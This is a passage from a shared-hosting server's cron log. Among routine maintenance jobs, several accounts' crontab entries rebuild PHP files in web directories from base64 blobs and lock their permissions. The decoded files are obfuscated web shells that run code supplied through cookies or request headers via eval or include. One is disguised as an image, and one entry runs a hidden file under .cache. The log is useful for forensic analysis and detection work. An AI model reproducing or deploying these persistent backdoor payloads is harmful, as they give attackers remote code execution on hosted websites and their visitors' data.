yogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:03:01 medusa CROND[2460]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:03:01 medusa CROND[2472]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:03:01 medusa CROND[2473]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:04:02 medusa CROND[24492]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:04:02 medusa CROND[24493]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:04:02 medusa CROND[24495]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:04:02 medusa CROND[24496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:04:02 medusa CROND[24494]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:04:02 medusa CROND[24497]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:04:02 medusa CROND[24499]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:04:02 medusa CROND[24509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:04:02 medusa CROND[24511]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:04:02 medusa CROND[24512]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:04:02 medusa CROND[24513]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:04:02 medusa CROND[24514]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:04:02 medusa CROND[24518]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:05:01 medusa CROND[12951]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 10:05:01 medusa CROND[12954]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:05:01 medusa CROND[12970]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:05:01 medusa CROND[13031]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:05:01 medusa CROND[13073]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:05:01 medusa CROND[13112]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:05:01 medusa CROND[13113]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:05:01 medusa CROND[13117]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:05:01 medusa CROND[13116]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:05:01 medusa CROND[13115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:05:01 medusa CROND[13118]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:05:01 medusa CROND[13119]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:05:01 medusa CROND[13114]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 10:05:01 medusa CROND[13126]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:05:01 medusa CROND[13127]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:05:01 medusa CROND[13129]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:05:01 medusa CROND[13130]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:05:01 medusa CROND[13132]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:05:01 medusa CROND[13133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:05:01 medusa CROND[13140]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:05:01 medusa CROND[13123]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:05:01 medusa CROND[13147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:05:01 medusa CROND[13150]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgM